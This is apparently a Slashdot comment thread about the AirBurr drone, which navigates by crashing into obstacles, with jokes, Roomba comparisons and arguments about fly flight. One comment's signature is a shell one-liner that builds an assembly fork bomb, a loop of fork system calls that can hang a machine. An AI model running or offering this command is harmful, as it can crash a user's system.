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AirBurr UAV Navigates By Crashing Into Things
Zothecula writes "If you've ever watched a fly trying to find its way around a house, you might have noticed that it didn't take a particularly graceful approach – it probably bounced off a lot of windows and walls, until by process of elimination, it found a route that was clear. Well, researchers at Switzerland's EPFL Laboratory of Intelligent Systems are taking that same approach with the latest version of their autonomous AirBurr UAV – it's built to run into things, in order to map and navigate its environment."
That sounds similar to the approach that some took in my robotics class in college except those robots drove around on wheels and didn't fly. There hopefully is more brains in these things if they are mapping out their environment by doing so but the 64k we had to work with even allowed some some rudimentary mapping ability.
Time to offend someone
So essentially it mimics a drunk person? I have a suspicion I know how the idea for this research project first came up.
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/joke>
Current approaches bounce radio, sound, and light off obstructions, using radar/sonar/laser mapping. This new approach bounces the physical object off obstructions, for the purpose of...? Being more easily detected? Making even more noise? Causing itself and everything around it more damage?
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it's built to run into things, in order to map and navigate its environment.
Hey that's neat... Question:
What happens when it bumps into a weakened structural support, one that just happens to barely be holding the building up?
I assume the AirBurr is cheap to replace?
An enigma, wrapped in a riddle, shrouded in bacon and cheese
Sounds like an air-Roomba. Wish my Roomba didn't die. That thing was fun as hell to watch.
Why don't they just graft tadpole eyes onto its butt?
https://app.box.com/WitthoftResume Code: https://github.com/cellocgw
I think it's just a bad programmer trying to close a bug as 'Won't Fix'.
This is how the roomba vacuum cleaners navigate, isn't it? What's new?
The flies in my part of California don't bounce off the walls. WTF? Sure, they fly back and forth and in circles, but bouncing off the walls as a form of navigation? I have my doubts as to whether this was truly nature-inspired.
that won't be able to tolerate being hit. Like a child. Or drying concrete. Or another UAV.
Flies do bump into things like windows a lot, you'll notice flies often fly and bounce off of glass quite frequently. They may not bump into other objects but certain classes of objects the do most certainly bounce off of.
that's what the whiskers on cats, rats and dogs are for. They are sensors for what they are about to bump into.
- Zav - Imagine a Beowulf cluster of insensitive clods...
OK... so who saw the picture in the article and thought the UAV was responsible for the damage?
Mod me down, I shall become more off-topic than you could possibly imagine.
My memory is a little bit hazy, but IIRC from topology: as the number of dimensions increase, the probability of returning to your point of origin in a random walk goes down (assuming you're traversing an infinite space with a possible infinite number of steps). Perhaps I'm mis-reading TFA, or perhaps there's not enough information posted, but assuming these autonomous UAV's utilize a random walk to map it's environment, how can one guarantee it can effectively map a 3 dimensional space?
It's going to ding my car, damage my walls, break a window, and knock over a lamp before it assassinates me in my home now?
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Put short range radar in the thing and have it stop just short of the obstacle. Less damage to the environment, and less strain on the device.
Funrobot is MSI's somewhat Heath Robinson robotics brand. They've got high end ones with ultrasonic sensors
This is the M800
http://www.youtube.com/watch?v=RzV76Zjru5A
It works pretty well and can find the docking station to recharge. It is somewhat expensive (US$400 - above most people's impulse buy threshold)
The R500 has bump sensors
http://www.youtube.com/watch?v=6lFwhqcLnzo
It's cheap (about US$120) but also very irritating. Bump sensors make a lot of noise and it will also get stuck on cables, curtains and so on.
If you look on the net it is now very hard to buy an R500 but the M800 are [still being sold](http://ecshweb.pchome.com.tw/search/v2/?q=icleaner)
This makes me think that bump sensors are not a very good idea, even for vacuum cleaners.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Quite true -- and someone's been missing the difference between blindly bumping into boundaries and helplessly (but not due to blindness) bumping into transparent solid objects which pretty much don't occur in nature.
Rather a lot of birds kill themselves flying into picture windows. Heck, I've seen humans (sober!) walk straight into clean glass slider doors.
AFAIK flies don't bump into walls; just windows.
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So the top of the article has a picture of a building that looked like someone'd been going at the walls with a sledgehammer for a while. Anyone else see this and think "Man, they gotta make that thing a little lighter..."
My own observations agree with you.
June bugs, however, will run straight into solid walls.
For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
It would be insane to actually release a bunch of these into a space to find people or something like that. But on the other hand, as a research project, it is beyond awesome. Also, it would be really nice to see the majority of VTOL UAVs designed such that they "can't" (for some reasonable value most likely more properly described as "probably won't") chop stuff up with their props, like your face. And perhaps, to have them not kill you if they land on you from very high up. So there's lessons to be learned here. If you're building flying drones that can run into stuff and keep flying, it would certainly be nice if they could know they ran into something, and remember that there's something there.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
If you have TRULY observed a fly trying to find its way around a house, you might have noticed that it in fact takes a very GRACEFUL approach: it never bumps to anything but almost completely transparent objects (as do many birds), and its true grace can be readily observed through 1500 fps videos.
It is one of the animals with the highest flight maneuverability, as two of its wings have evolved to counterweights: not only it can hover and take-off backwards, but it can land upside-down, and does so very skillfully. See youtube and BBC documentaries for further edification.
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